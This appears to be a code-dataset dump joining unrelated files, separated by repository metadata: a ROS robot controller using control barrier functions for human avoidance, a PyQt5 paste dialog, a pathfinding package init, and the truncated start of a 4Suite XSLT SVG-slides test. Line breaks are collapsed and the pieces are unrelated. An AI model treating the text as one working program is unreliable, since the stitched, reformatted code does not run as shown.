#! /usr/bin/env python # call roscore # $ roscore # # If start in manual # $ rosrun cbf_ros cbf_controller.py import rospy import sys import argparse import re import numpy as np from scipy.integrate import odeint from sympy import symbols, Matrix, sin, cos, lambdify, exp, sqrt, log import matplotlib.pyplot as plt import matplotlib.animation as animation import cvxopt as cvxopt # ROS msg from geometry_msgs.msg import Twist from geometry_msgs.msg import PoseStamped from geometry_msgs.msg import Vector3 from nav_msgs.msg import Odometry from gazebo_msgs.msg import ModelState from gazebo_msgs.srv import GetWorldProperties, GetModelState, GetModelStateRequest # ROS others import tf DEBUG = False def orientation2angular(orientation): quaternion = ( orientation.x, orientation.y, orientation.z, orientation.w) euler = tf.transformations.euler_from_quaternion(quaternion) angular = Vector3( euler[0], euler[1], euler[2] ) return angular def cvxopt_solve_qp(P, q, G=None, h=None, A=None, b=None): P = .5 * (P + P.T) # make sure P is symmetric args = [cvxopt.matrix(P), cvxopt.matrix(q)] if G is not None: args.extend([cvxopt.matrix(G), cvxopt.matrix(h)]) if A is not None: args.extend([cvxopt.matrix(A), cvxopt.matrix(b)]) cvxopt.solvers.options['show_progress'] = False cvxopt.solvers.options['maxiters'] = 100 sol = cvxopt.solvers.qp(*args) if 'optimal' not in sol['status']: return None return np.array(sol['x']).reshape((P.shape[1],)) def plottrajs(trajs): if plotanimation: for j in range(len(trajs.hsr)): plt.axis([-10,10,-10,10],color ="black") plt.plot([-1.4,-1.4],[-7,7],color ="black") plt.plot([1.3,1.3],[-7,-1.5],color ="black") plt.plot([1.3,1.3],[1.4,7],color ="black") plt.plot([1.3,7],[1.4,1.4],color ="black") plt.plot([1.3,7],[-1.5,-1.5],color ="black") plt.plot(trajs.hsr[j][1],-trajs.hsr[j][0],color ="green",marker = 'o') plt.arrow(float(trajs.hsr[j][1]),float(-trajs.hsr[j][0]), float(2*trajs.commands[j][0]*sin(trajs.hsr[j][2])), float(-2*trajs.commands[j][0]*cos(trajs.hsr[j][2])), width = 0.05) for k in range(len(trajs.actors[j])): plt.plot(trajs.actors[j][k][1],-trajs.actors[j][k][0],color ="red",marker = 'o') plt.draw() plt.pause(np.finfo(float).eps) plt.clf() plt.ion() plt.axis([-10,10,-10,10],color ="black") plt.plot([-1.4,-1.4],[-7,7],color ="black") plt.plot([1.3,1.3],[-7,-1.5],color ="black") plt.plot([1.3,1.3],[1.4,7],color ="black") plt.plot([1.3,7],[1.4,1.4],color ="black") plt.plot([1.3,7],[-1.5,-1.5],color ="black") for j in range(len(trajs.hsr)): plt.axis([-10,10,-10,10]) plt.plot(trajs.hsr[j][1],-trajs.hsr[j][0],color ="green",marker = 'o',markersize=2) for k in range(len(trajs.actors[j])): plt.plot(trajs.actors[j][k][1],-trajs.actors[j][k][0],color ="red",marker = 'o',markersize=2) plt.draw() plt.pause(np.finfo(float).eps) plt.ioff() fig, axs = plt.subplots(4) axs[0].set(ylabel = 'velocity input') # axs[1].set_title('risk') # axs[2].set_title('min Dist') axs[1].set(ylabel = 'angular velocity input') axs[2].set(ylabel = 'risk') axs[3].set(xlabel = 'time', ylabel = 'min Dist') for k in range(len(trajs.time)): axs[0].plot(trajs.time[k], trajs.commands[k][0],color ="green",marker = 'o',markersize=2) axs[1].plot(trajs.time[k], trajs.commands[k][1],color ="green",marker = 'o',markersize=2) if trajs.risk[k]<risk: axs[2].plot(trajs.time[k], trajs.risk[k],color ="green",marker = 'o',markersize=2) else: axs[2].plot(trajs.time[k], trajs.risk[k],color ="red",marker = 'o',markersize=2) axs[3].plot(trajs.time[k], trajs.minDist[k],color ="green",marker = 'o',markersize=2) plt.draw() plt.pause(60) 1 # plt.ioff() # plt.figure(3) # for k in range(len(trajs.time)): # plt.plot(trajs.time[k], trajs.risk[k],color ="green",marker = 'o') # plt.draw() # 1 class robot(object): def __init__(self,l): #Symbolic Variables # t = symbols('t') # when robot is bicycle model [x,y,theta], obstacles are linear models [x,y]: xr1,xr2,xr3,xo1,xo2 = symbols('xr1 xr2 xr3 xo1 xo2') # v w inputs of robot: u1,u2 = symbols('u1,u2') vx,vy = symbols('vx,vy') # Vector of states and inputs: self.x_r_s = Matrix([xr1,xr2,xr3]) self.x_o_s = Matrix([xo1,xo2]) self.u_s = Matrix([u1,u2]) self.u_o = Matrix([vx,vy]) self.f = Matrix([0,0,0]) self.g = Matrix([[cos(self.x_r_s[2]), -l*sin(self.x_r_s[2])], [sin(self.x_r_s[2]), l*cos(self.x_r_s[2])], [0, 1]]) self.f_r = self.f+self.g*self.u_s self.l = l #approximation parameter for bicycle model self.Real_x_r = lambdify([self.x_r_s], self.x_r_s-Matrix([l*cos(self.x_r_s[2]), l*sin(self.x_r_s[2]), 0])) # Obstacle SDE, not needed if we want to use Keyvan prediction method self.f_o = self.u_o # self.f_o = Matrix([0.1, 0.1]) self.g_o = Matrix([0.1, 0.1]) self.g_o = 0.1*self.u_o # self.f_o_fun = lambdify([self.x_o_s], self.f_o) # self.g_o_fun = lambdify([self.x_o_s], self.g_o) def GoalFuncs(self,GoalCenter,rGoal): Gset = (self.x_r_s[0]-GoalCenter[0])**2+(self.x_r_s[1]-GoalCenter[1])**2-rGoal GoalInfo = type('', (), {})() GoalInfo.set = lambdify([self.x_r_s],Gset) GoalInfo.Lyap = lambdify([self.x_r_s,self.u_s],Gset.diff(self.x_r_s).T*self.f_r) return GoalInfo def UnsafeFuncs(self,gamma,UnsafeRadius): #based on the SDE formulation, needs slight change for regular BF UnsafeInfo = type('', (), {})() Uset = (self.x_r_s[0]-self.x_o_s[0])**2+(self.x_r_s[1]-self.x_o_s[1])**2-(UnsafeRadius+self.l)**2 CBF = exp(-gamma*Uset) CBF_d = CBF.diff(Matrix([self.x_r_s,self.x_o_s])) CBF_d2 = CBF.diff(self.x_o_s,2) UnsafeInfo.set = lambdify([self.x_r_s,self.x_o_s], Uset) UnsafeInfo.CBF = lambdify([self.x_r_s,self.x_o_s], CBF) UnsafeInfo.ConstCond = lambdify([self.x_r_s,self.x_o_s,self.u_o] , CBF_d.T*Matrix([self.f,self.f_o])+0.5*(self.g_o.T*Matrix([[Matrix(CBF_d2[0,0]),Matrix(CBF_d2[1,0])]])*self.g_o)) UnsafeInfo.multCond = lambdify([self.x_r_s,self.x_o_s,self.u_s], CBF_d.T*Matrix([self.g*self.u_s, Matrix(np.zeros((len(self.x_o_s),1)))])) return UnsafeInfo def MapFuncs(self,env_bounds): MapInfo = type('', (), {})() MapInfo.set = [] MapInfo.CBF = [] MapInfo.setDer = [] # x_min = getattr(env_bounds, "x_min", undefined) # x_max = getattr(env_bounds, "x_max", undefined) # y_min = getattr(env_bounds, "y_min", undefined) # y_max = getattr(env_bounds, "y_max", undefined) if hasattr(env_bounds,'x_min'): Uset = (-self.x_r_s[0]+env_bounds.x_min) CBF = exp(gamma*Uset) MapInfo.set.append(lambdify([self.x_r_s], Uset)) MapInfo.CBF.append(lambdify([self.x_r_s],CBF)) MapInfo.setDer.append(lambdify([self.x_r_s,self.u_s] , CBF.diff(self.x_r_s).T*self.f_r)) if hasattr(env_bounds,'x_max'): Uset = (self.x_r_s[0]-env_bounds.x_max) CBF = exp(gamma*Uset) MapInfo.set.append(lambdify([self.x_r_s], Uset)) MapInfo.CBF.append(lambdify([self.x_r_s],CBF)) MapInfo.setDer.append(lambdify([self.x_r_s,self.u_s] , CBF.diff(self.x_r_s).T*self.f_r)) if hasattr(env_bounds,'y_min'): Uset = (-self.x_r_s[1]+env_bounds.y_min) CBF = exp(gamma*Uset) MapInfo.set.append(lambdify([self.x_r_s], Uset)) MapInfo.CBF.append(lambdify([self.x_r_s],CBF)) MapInfo.setDer.append(lambdify([self.x_r_s,self.u_s] , CBF.diff(self.x_r_s).T*self.f_r)) if hasattr(env_bounds,'y_max'): Uset = (self.x_r_s[1]-env_bounds.y_max) CBF = exp(gamma*Uset) MapInfo.set.append(lambdify([self.x_r_s], Uset)) MapInfo.CBF.append(lambdify([self.x_r_s],CBF)) MapInfo.setDer.append(lambdify([self.x_r_s,self.u_s] , CBF.diff(self.x_r_s).T*self.f_r)) if hasattr(env_bounds,'f'): pass #To be filled later return MapInfo class CBF_CONTROLLER(object): def __init__(self,robot,GoalInfo,UnsafeInfo,MapInfo): # publisher to send vw order to HSR self.vw_publisher = rospy.Publisher('/hsrb/command_velocity', Twist, queue_size=10) # subscriber for Gazebo info. rospy.wait_for_service ('/gazebo/get_model_state') self.get_model_pro = rospy.ServiceProxy('/gazebo/get_world_properties', GetWorldProperties) self.get_model_srv = rospy.ServiceProxy('/gazebo/get_model_state', GetModelState) self.tOdometry_subscriber = rospy.Subscriber('/hsrb/odom_ground_truth', Odometry, self.tOdometry_callback, queue_size=10) self.tOdometry = Odometry() self.odometry_subscriber = rospy.Subscriber('/global_pose', PoseStamped, self.odometry_callback, queue_size=10) self.poseStamped = PoseStamped() # listener of tf. self.tfListener = tf.TransformListener() self.actors = [] trajs = type('', (), {})() trajs.hsr = [] trajs.actors = [] trajs.commands = [] trajs.time = [] trajs.risk = [] trajs.minDist = [] self.trajs = trajs self.robot = robot self.GoalInfo = GoalInfo self.UnsafeInfo = UnsafeInfo self.MapInfo = MapInfo self.flag = 0 self.count = 0 # num of times control_callback is called def __del__(self): pass def tOdometry_callback(self, odometry): self.odometry = odometry # this odometry's coodination is \map def odometry_callback(self, poseStamped): self.poseStamped = poseStamped def gazebo_pos_transformPose(self, frame_id, gazebo_pose): gazebo_pose_temp = PoseStamped() gazebo_pose_temp.header = gazebo_pose.header gazebo_pose_temp.header.frame_id = 'map' gazebo_pose_temp.pose = gazebo_pose.pose while not rospy.is_shutdown(): try: gazebo_pos_trans = self.tfListener.transformPose(frame_id, gazebo_pose_temp) break except (tf.LookupException, tf.ConnectivityException, tf.ExtrapolationException): continue return gazebo_pos_trans def controller_loop_callback(self, event): # this controller loop call back. self.count += 1 now = rospy.get_rostime() self.trajs.time.append(now.secs+now.nsecs*pow(10,-9)) if DEBUG: rospy.loginfo('Current time %i %i', now.secs, now.nsecs) rospy.loginfo('tOdometry\n %s', self.odometry) # get human model state from Gazebo if self.count==1: model_properties = self.get_model_pro() for model_name in model_properties.model_names: if re.search('actor*', model_name) and not model_name in self.actors: # if the model name is actor*, it will catch them. self.actors.append(model_name) actors_data = [] for actor in self.actors: model_actor = GetModelStateRequest() model_actor.model_name = actor model_actor = self.get_model_srv(model_actor) # the pose date is based on /map # actor_base_footprint_pose = self.gazebo_pos_transformPose('base_footprint', model_actor) # trasfer /map->/base_footprint angular = orientation2angular(model_actor.pose.orientation) # transfer orientaton(quaternion)->agular(euler) p = model_actor.pose.position actors_data.append([p.x,p.y, angular.z]) if DEBUG: rospy.loginfo('%s in timestamp:\n%s', actor, model_actor.header.stamp) # time stamp is here. rospy.loginfo('%s in base_footprint\nposition:\n%s\nangular:\n%s', actor, actor_base_footprint_pose.pose.position, angular) self.trajs.actors.append(actors_data) # get hsr model state from odometry model_hsr = self.odometry p = model_hsr.pose.pose.position angular = orientation2angular(model_hsr.pose.pose.orientation) # transfer orientaton(quaternion)->agular(euler) x_r = [p.x,p.y,angular.z] self.trajs.hsr.append(x_r) # making vw data and publish it. vel_msg = Twist() # Compute controller if abs(p.x)<1.5 and self.flag == 0: self.flag = 1 env_bounds = type('', (), {})() env_bounds.x_max = 1.2 env_bounds.x_min = -1.3 self.MapInfo = self.robot.MapFuncs(env_bounds) GoalCenter = np.array([0, 5.5]) self.GoalInfo = self.robot.GoalFuncs(GoalCenter,rGoal) u = self.cbf_controller_compute() vel_msg.linear.x = u[0] vel_msg.angular.z = u[1] self.vw_publisher.publish(vel_msg) self.trajs.commands.append([u[0],u[1]]) if self.count > 1000: rospy.loginfo('reach counter!!') rospy.signal_shutdown('reach counter') elif self.GoalInfo.set(x_r)<0: rospy.loginfo('reached Goal set!!') rospy.signal_shutdown('reached Goal set') def cbf_controller_compute(self): x_r = np.array(self.trajs.hsr[len(self.trajs.hsr)-1]) x_o = np.array(self.trajs.actors[len(self.trajs.actors)-1]) u_s = self.robot.u_s if self.count>3: x_o_pre = np.array(self.trajs.actors[len(self.trajs.actors)-4]) # x_o_2pre = np.array(self.trajs.actors[len(self.trajs.actors)-3]) dt = self.trajs.time[len(self.trajs.time)-1]-self.trajs.time[len(self.trajs.time)-4] u_o = (x_o[:,0:2]-x_o_pre[:,0:2])/dt else: u_o = np.zeros((len(x_o),len(self.robot.u_o))) Unsafe = self.UnsafeInfo Goal = self.GoalInfo Map = self.MapInfo UnsafeList = [] Dists = np.zeros((len(x_o))) for j in range(len(x_o)): Dists[j] = Unsafe.set(x_r, x_o[j][0:2]) if Dists[j]<UnsafeInclude: UnsafeList.append(j) ai = 1 if min(Dists)<0: InUnsafe = 1 else: InUnsafe = 0 minDist = min(Dists) minJ = np.where(Dists == minDist) if findBestCommandAnyway: #Ax<=b, x = [v, w , b1,bh1 b2, bh2..., bn, b'1, b'2,b'm, delta ] # where b is constant in Eq (14) of paper "Risk-bounded Control using Stochastic Barrier Functions" #b' is the slack variable for map constraints # delta is for lyapunov function A = np.zeros((2*len(UnsafeList)+2*len(u_s)+len(Map.set)+2,len(u_s)+2*len(UnsafeList)+len(Map.set)+1)) b =np.zeros((2*len(u_s)+2*len(UnsafeList)+len(Map.set)+2)) for j in range(len(UnsafeList)): # CBF Constraints A[2*j,np.append(np.arange(len(u_s)),[len(u_s)+2*j])] = [Unsafe.multCond(x_r, x_o[UnsafeList[j]][0:2],[1, 0]), Unsafe.multCond(x_r,x_o[UnsafeList[j]][0:2],[0, 1]), -1] # multiplier of u , bi b[2*j] = -ai* Unsafe.CBF(x_r, x_o[UnsafeList[j]][0:2])- Unsafe.ConstCond(x_r, x_o[UnsafeList[j]][0:2],u_o[UnsafeList[j]]) # Constraints on bi to satisfy pi risk A[2*j+1,len(u_s)+2*j] = 1; A[2*j+1,len(u_s)+2*j+1] = -1 if Unsafe.CBF(x_r, x_o[UnsafeList[j]][0:2])<1: b[2*j+1] = min(ai, -1/T*log((1-risk)/(1-Unsafe.CBF(x_r, x_o[UnsafeList[j]][0:2])))) else: b[2*j+1] = 0 # Adding U constraint A[2*len(UnsafeList),0] = 1; b[2*len(UnsafeList)] = U[0,1] A[2*len(UnsafeList)+1,0] = -1; b[2*len(UnsafeList)+1] = -U[0,0] A[2*len(UnsafeList)+2,1] = 1; b[2*len(UnsafeList)+2] = U[1,1] A[2*len(UnsafeList)+3,1] = -1; b[2*len(UnsafeList)+3] = -U[1,0] # Adding map constraints for j in range(len(Map.set)): A[2*len(UnsafeList)+2*len(u_s)+j,np.append(np.arange(len(u_s)),[len(u_s)+2*len(UnsafeList)+j])] = [Map.setDer[j](x_r,[1, 0]), Map.setDer[j](x_r,[0, 1]), -1] b[2*len(UnsafeList)+2*len(u_s)+j] = -Map.CBF[j](x_r) # Adding Goal based Lyapunov !!!!!!!!!!!!!!!!! Needs to be changed for a different example A[2*len(UnsafeList)+2*len(u_s)+len(Map.set),0:2] = [Goal.Lyap(x_r,[1,0]), Goal.Lyap(x_r,[0, 1])] A[2*len(UnsafeList)+2*len(u_s)+len(Map.set),-1] = -1 b[2*len(UnsafeList)+2*len(u_s)+len(Map.set)] = 0 A[2*len(UnsafeList)+2*len(u_s)+len(Map.set)+1,-1] = 1 b[2*len(UnsafeList)+2*len(u_s)+len(Map.set)+1] = np.finfo(float).eps+1 H = np.zeros((len(u_s)+2*len(UnsafeList)+len(Map.set)+1,len(u_s)+2*len(UnsafeList)+len(Map.set)+1)) H[0,0] = 0 H[1,1] = 0 ff = np.zeros((len(u_s)+2*len(UnsafeList)+len(Map.set)+1,1)) for j in range(len(UnsafeList)): ff[len(u_s)+2*j] = 65 H[len(u_s)+2*j+1,len(u_s)+2*j+1] = 10000 # ff[len(u_s)+2*j+1] = 50* Unsafe.CBF(x_r, x_o[minJ[0][0]][0:2]) ff[len(u_s)+2*len(UnsafeList):len(u_s)+2*len(UnsafeList)+len(Map.set)] = 20 ff[-1] = np.ceil(self.count/100.0) else: #Ax<=b, x = [v, w , b1, b2,..., bn, b'1, b'2,b'm, delta ] # where b is constant in Eq (14) of paper "Risk-bounded Control using Stochastic Barrier Functions" #b' is the slack variable for map constraints # delta is for lyapunov function A = np.zeros((2*len(UnsafeList)+2*len(u_s)+len(Map.set)+2,len(u_s)+len(UnsafeList)+len(Map.set)+1)) b =np.zeros((2*len(u_s)+2*len(UnsafeList)+len(Map.set)+2)) for j in range(len(UnsafeList)): # CBF Constraints A[2*j,np.append(np.arange(len(u_s)),[len(u_s)+j])] = [Unsafe.multCond(x_r, x_o[UnsafeList[j]][0:2],[1, 0]), Unsafe.multCond(x_r,x_o[UnsafeList[j]][0:2],[0, 1]), -1] # multiplier of u , bi b[2*j] = -ai* Unsafe.CBF(x_r, x_o[UnsafeList[j]][0:2])- Unsafe.ConstCond(x_r, x_o[UnsafeList[j]][0:2],u_o[UnsafeList[j]]) # Constraints on bi to satisfy pi risk A[2*j+1,len(u_s)+j] = 1 if Unsafe.CBF(x_r, x_o[UnsafeList[j]][0:2])<1: b[2*j+1] = min(ai, -1/T*log((1-risk)/(1-Unsafe.CBF(x_r, x_o[UnsafeList[j]][0:2])))) else: b[2*j+1] = 0 # Adding U constraint A[2*len(UnsafeList),0] = 1; b[2*len(UnsafeList)] = U[0,1] A[2*len(UnsafeList)+1,0] = -1; b[2*len(UnsafeList)+1] = -U[0,0] A[2*len(UnsafeList)+2,1] = 1; b[2*len(UnsafeList)+2] = U[1,1] A[2*len(UnsafeList)+3,1] = -1; b[2*len(UnsafeList)+3] = -U[1,0] # Adding map constraints for j in range(len(Map.set)): A[2*len(UnsafeList)+2*len(u_s)+j,np.append(np.arange(len(u_s)),[len(u_s)+len(UnsafeList)+j])] = [Map.setDer[j](x_r,[1, 0]), Map.setDer[j](x_r,[0, 1]), -1] b[2*len(UnsafeList)+2*len(u_s)+j] = -Map.CBF[j](x_r) # Adding Goal based Lyapunov !!!!!!!!!!!!!!!!! Needs to be changed for a different example A[2*len(UnsafeList)+2*len(u_s)+len(Map.set),0:2] = [Goal.Lyap(x_r,[1,0]), Goal.Lyap(x_r,[0, 1])] A[2*len(UnsafeList)+2*len(u_s)+len(Map.set),-1] = -1 b[2*len(UnsafeList)+2*len(u_s)+len(Map.set)] = 0 A[2*len(UnsafeList)+2*len(u_s)+len(Map.set)+1,-1] = 1 b[2*len(UnsafeList)+2*len(u_s)+len(Map.set)+1] = np.finfo(float).eps+1 H = np.zeros((len(u_s)+len(UnsafeList)+len(Map.set)+1,len(u_s)+len(UnsafeList)+len(Map.set)+1)) H[0,0] = 0 H[1,1] = 0 ff = np.zeros((len(u_s)+len(UnsafeList)+len(Map.set)+1,1)) ff[len(u_s):len(u_s)+len(UnsafeList)] = 20 ff[len(u_s)+len(UnsafeList):len(u_s)+len(UnsafeList)+len(Map.set)] = 10 ff[-1] = np.ceil(self.count/100.0) try: uq = cvxopt_solve_qp(H, ff, A, b) except ValueError: uq = [0,0] rospy.loginfo('Domain Error in cvx') if uq is None: uq = [0,0] rospy.loginfo('infeasible QP') if findBestCommandAnyway and len(uq[2:len(uq)-2*len(Map.set)-1:2])>0: # If humans are around and findbestcommand active if InUnsafe: self.trajs.risk.append(1.0) else: r = np.zeros(len(uq[2:len(uq)-2*len(Map.set)-1:2])) for k in range(len(uq[2:len(uq)-2*len(Map.set)-1:2])): r[k] = min(1, max(0,1-(1-Unsafe.CBF(x_r, x_o[UnsafeList[k]][0:2]))*exp(-uq[2*k+2]*T))) self.trajs.risk.append(max(r)) elif not findBestCommandAnyway and len(uq[2:len(uq)-len(Map.set)-1])>0: r = np.zeros(len(uq[2:len(uq)-len(Map.set)-1])) for k in range(len(uq[2:len(uq)-len(Map.set)-1])): r[k] = min(1, max(0,1-(1-Unsafe.CBF(x_r, x_o[UnsafeList[k]][0:2]))*exp(-uq[k+2]*T))) self.trajs.risk.append(max(r)) if max(r)>0.1: 1 elif not findBestCommandAnyway and len(uq) == 2: # feasible solution is not found self.trajs.risk.append(-risk) # meaning that solution is not found else: # No human is around self.trajs.risk.append(0.0) self.trajs.minDist.append(minDist) return uq if __name__ == '__main__': ## Parameters findBestCommandAnyway = 1 #make this zero if you don't want to do anything if it's riskier than intended #use 1 if you want to do the best even if there is risk plotanimation = 0 # Goal info GoalCenter = np.array([0, 0]) rGoal = np.power(0.5,2) # Unsafe UnsafeInclude = 9 # consider obstacle if in radius UnsafeRadius = 0.5 #radius of unsafe sets/distance from obstacles # Enviroment Bounds env_bounds = type('', (), {})() env_bounds.y_min = -1.2 env_bounds.y_max = 1 # env_bounds.x_max = 1.25 # env_bounds.x_min = -1.35 l = 0.01 #bicycle model approximation parameter U = np.array([[-0.33,0.33],[-0.3,0.3]]) T = 1 #Lookahead horizon risk = 0.1 # max risk desired gamma = 5 # CBF coefficient u1d = 0 # desired input to save energy! # Plotting options plotit = 1 plotlanes = 1 robot = robot(l) GoalInfo = robot.GoalFuncs(GoalCenter,rGoal) UnsafeInfo = robot.UnsafeFuncs(gamma,UnsafeRadius) MapInfo = robot.MapFuncs(env_bounds) # Process arguments p = argparse.ArgumentParser(description='CBF controller') args = p.parse_args(rospy.myargv()[1:]) try: rospy.init_node('cbf_controller') cbf_controller = CBF_CONTROLLER(robot,GoalInfo,UnsafeInfo,MapInfo) control_priod = 0.05 #[sec] we can change controll priod with this parameter. rospy.Timer(rospy.Duration(control_priod), cbf_controller.controller_loop_callback) rospy.spin() except rospy.ROSInterruptException: pass plottrajs(cbf_controller.trajs)

51.393773

222

0.490218

21,357

0.761092

0

4,187

0.149211

4262af6285d912525c9c840db4e454a16f646f01

5,250

py

Python

src/gui/ui_paste_dialog.py

tonypdmtr/sxtool

225468d70c5fe1bf7414f19ce13dcdd43e872433

[ "BSD-2-Clause" ]

3

2018-10-11T15:34:24.000Z

2022-02-20T23:24:01.000Z

src/gui/ui_paste_dialog.py

tonypdmtr/sxtool

225468d70c5fe1bf7414f19ce13dcdd43e872433

[ "BSD-2-Clause" ]

1

2018-10-16T06:58:22.000Z

2018-10-22T20:19:55.000Z

src/gui/ui_paste_dialog.py

tonypdmtr/sxtool

225468d70c5fe1bf7414f19ce13dcdd43e872433

[ "BSD-2-Clause" ]

1

2022-02-20T23:26:50.000Z

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'src/gui/ui_paste_dialog.ui' # # Created by: PyQt5 UI code generator 5.11.2 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_PasteDialog(object): def setupUi(self, PasteDialog): PasteDialog.setObjectName("PasteDialog") PasteDialog.resize(403, 205) self.gridLayout = QtWidgets.QGridLayout(PasteDialog) self.gridLayout.setContentsMargins(11, 11, 11, 11) self.gridLayout.setSpacing(6) self.gridLayout.setObjectName("gridLayout") self.buttonGroupMain = QtWidgets.QGroupBox(PasteDialog) self.buttonGroupMain.setObjectName("buttonGroupMain") self.radioReplaceSelection = QtWidgets.QRadioButton(self.buttonGroupMain) self.radioReplaceSelection.setGeometry(QtCore.QRect(10, 40, 120, 20)) self.radioReplaceSelection.setObjectName("radioReplaceSelection") self.radioAddLines = QtWidgets.QRadioButton(self.buttonGroupMain) self.radioAddLines.setGeometry(QtCore.QRect(10, 20, 100, 20)) self.radioAddLines.setChecked(True) self.radioAddLines.setObjectName("radioAddLines") self.gridLayout.addWidget(self.buttonGroupMain, 0, 0, 1, 1) self.buttonGroupReplace = QtWidgets.QGroupBox(PasteDialog) self.buttonGroupReplace.setEnabled(False) self.buttonGroupReplace.setObjectName("buttonGroupReplace") self.verticalLayout = QtWidgets.QVBoxLayout(self.buttonGroupReplace) self.verticalLayout.setContentsMargins(11, 11, 11, 11) self.verticalLayout.setSpacing(6) self.verticalLayout.setObjectName("verticalLayout") self.radioSelectionOnly = QtWidgets.QRadioButton(self.buttonGroupReplace) self.radioSelectionOnly.setObjectName("radioSelectionOnly") self.verticalLayout.addWidget(self.radioSelectionOnly) self.radioSelectionAndReplace = QtWidgets.QRadioButton(self.buttonGroupReplace) self.radioSelectionAndReplace.setObjectName("radioSelectionAndReplace") self.verticalLayout.addWidget(self.radioSelectionAndReplace) self.radioSelectionAndAdd = QtWidgets.QRadioButton(self.buttonGroupReplace) self.radioSelectionAndAdd.setChecked(True) self.radioSelectionAndAdd.setObjectName("radioSelectionAndAdd") self.verticalLayout.addWidget(self.radioSelectionAndAdd) self.gridLayout.addWidget(self.buttonGroupReplace, 0, 1, 2, 1) self.buttonGroupAdd = QtWidgets.QGroupBox(PasteDialog) self.buttonGroupAdd.setEnabled(True) self.buttonGroupAdd.setObjectName("buttonGroupAdd") self.radioAfterSelection = QtWidgets.QRadioButton(self.buttonGroupAdd) self.radioAfterSelection.setGeometry(QtCore.QRect(10, 40, 130, 20)) self.radioAfterSelection.setObjectName("radioAfterSelection") self.radioBeforeSelection = QtWidgets.QRadioButton(self.buttonGroupAdd) self.radioBeforeSelection.setGeometry(QtCore.QRect(10, 20, 140, 20)) self.radioBeforeSelection.setChecked(True) self.radioBeforeSelection.setObjectName("radioBeforeSelection") self.gridLayout.addWidget(self.buttonGroupAdd, 1, 0, 1, 1) self.pushOk = QtWidgets.QPushButton(PasteDialog) self.pushOk.setObjectName("pushOk") self.gridLayout.addWidget(self.pushOk, 2, 0, 1, 1) self.pushCancel = QtWidgets.QPushButton(PasteDialog) self.pushCancel.setObjectName("pushCancel") self.gridLayout.addWidget(self.pushCancel, 2, 1, 1, 1) self.retranslateUi(PasteDialog) self.pushOk.clicked.connect(PasteDialog.accept) self.pushCancel.clicked.connect(PasteDialog.reject) self.radioAddLines.toggled['bool'].connect(self.buttonGroupAdd.setEnabled) self.radioReplaceSelection.toggled['bool'].connect(self.buttonGroupReplace.setEnabled) QtCore.QMetaObject.connectSlotsByName(PasteDialog) def retranslateUi(self, PasteDialog): _translate = QtCore.QCoreApplication.translate PasteDialog.setWindowTitle(_translate("PasteDialog", "Paste mode")) self.buttonGroupMain.setTitle(_translate("PasteDialog", "Pasting mode")) self.radioReplaceSelection.setText(_translate("PasteDialog", "Replace selection")) self.radioAddLines.setText(_translate("PasteDialog", "Add lines")) self.buttonGroupReplace.setTitle(_translate("PasteDialog", "How do you want to replace lines ?")) self.radioSelectionOnly.setText(_translate("PasteDialog", "Selection only")) self.radioSelectionAndReplace.setText(_translate("PasteDialog", "If selection is too small, replace\n" "the lines after")) self.radioSelectionAndAdd.setText(_translate("PasteDialog", "If selection is too small, \n" "add new lines")) self.buttonGroupAdd.setTitle(_translate("PasteDialog", "Where do you want to add lines ?")) self.radioAfterSelection.setText(_translate("PasteDialog", "After selection")) self.radioBeforeSelection.setText(_translate("PasteDialog", "Before selection")) self.pushOk.setText(_translate("PasteDialog", "OK")) self.pushCancel.setText(_translate("PasteDialog", "Cancel"))

58.333333

110

0.739619

4,992

0.950857

0

938

0.178667

4262ea9b91c2ce1c0da94f2913617caab9285e6f

110

py

Python

app/pathfinding/finder/__init__.py

TheronHa/Spaghetti

e181c2f7ea0c044fb7d0edb36bd203dac2eabaf9

[ "MIT" ]

208

2017-01-23T17:45:13.000Z

2022-03-22T22:27:25.000Z

app/pathfinding/finder/__init__.py

TheronHa/Spaghetti

e181c2f7ea0c044fb7d0edb36bd203dac2eabaf9

[ "MIT" ]

31

2017-10-28T09:21:06.000Z

2021-09-26T15:38:36.000Z

app/pathfinding/finder/__init__.py

TheronHa/Spaghetti

e181c2f7ea0c044fb7d0edb36bd203dac2eabaf9

[ "MIT" ]

60

2016-12-13T00:05:36.000Z

2022-03-21T22:23:49.000Z

__all__ = ['a_star', 'best_first', 'bi_a_star', 'breadth_first', 'dijkstra', 'finder', 'ida_star']

36.666667

76

0.609091

0

74

0.672727

4263245bfbde431be1ac8c88739a3f1f392bf22f

34,891

py

Python

dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Borrowed/uo_20000929.py

aleasims/Peach

bb56841e943d719d5101fee0a503ed34308eda04

[ "MIT" ]

null

dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Borrowed/uo_20000929.py

aleasims/Peach

bb56841e943d719d5101fee0a503ed34308eda04

[ "MIT" ]

null

dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Borrowed/uo_20000929.py

aleasims/Peach

bb56841e943d719d5101fee0a503ed34308eda04

[ "MIT" ]

1

2020-07-26T03:57:45.000Z

#Uche's test from Sun's SVG slide publisher import os from Xml.Xslt import test_harness #From Sun's toolkit sheet_1_uri = "Xml/Xslt/Borrowed/svgslides.xsl" sheet_2_uri = "Xml/Xslt/Borrowed/svgslides_custom.xsl" sheet_3_uri = "Xml/Xslt/Borrowed/slidescript.xsl" source_1_uri = "Xml/Xslt/Borrowed/slides4svg.xml" saxon_output = """""" expected_1 = """<?xml version='1.0' encoding='UTF-8'?> <?xml-stylesheet href="slides.css" type="text/css"?> <svg height='768' width='1024' style='pointer-events:visible' xml:space='preserve' onload='initSlides(evt)' xmlns:xlink='http://www.w3.org/2000/xlink/namespace/'> <script><![CDATA[ var doc = null; // Called upon presentation loading function initSlides(evt){ var target = evt.getTarget(); doc = target.getOwnerDocument(); hideAndShow(evt, curSlide, curSlide); } function onPrevSlide(evt){ // Process new current slide var oldCurSlide = curSlide; curSlide = curSlide - 1; if(curSlide < 0){ curSlide = slideList.length - 1; } hideAndShow(evt, oldCurSlide, curSlide); } function onNextSlide(evt){ // Process new current slide var prevSlide = curSlide; curSlide = curSlide + 1; if(curSlide > (slideList.length - 1)){ curSlide = 0; } hideAndShow(evt, prevSlide, curSlide); // alert("onNextSlide"); } function hideAndShow(evt, hideSlide, showSlide){ // alert("Hiding : " + hideSlide + " and showing : " + showSlide); // Hide previous current slide and show new // one. var hideSlideName = slideList[hideSlide]; var showSlideName = slideList[showSlide]; /*if(hideSlideName == null) 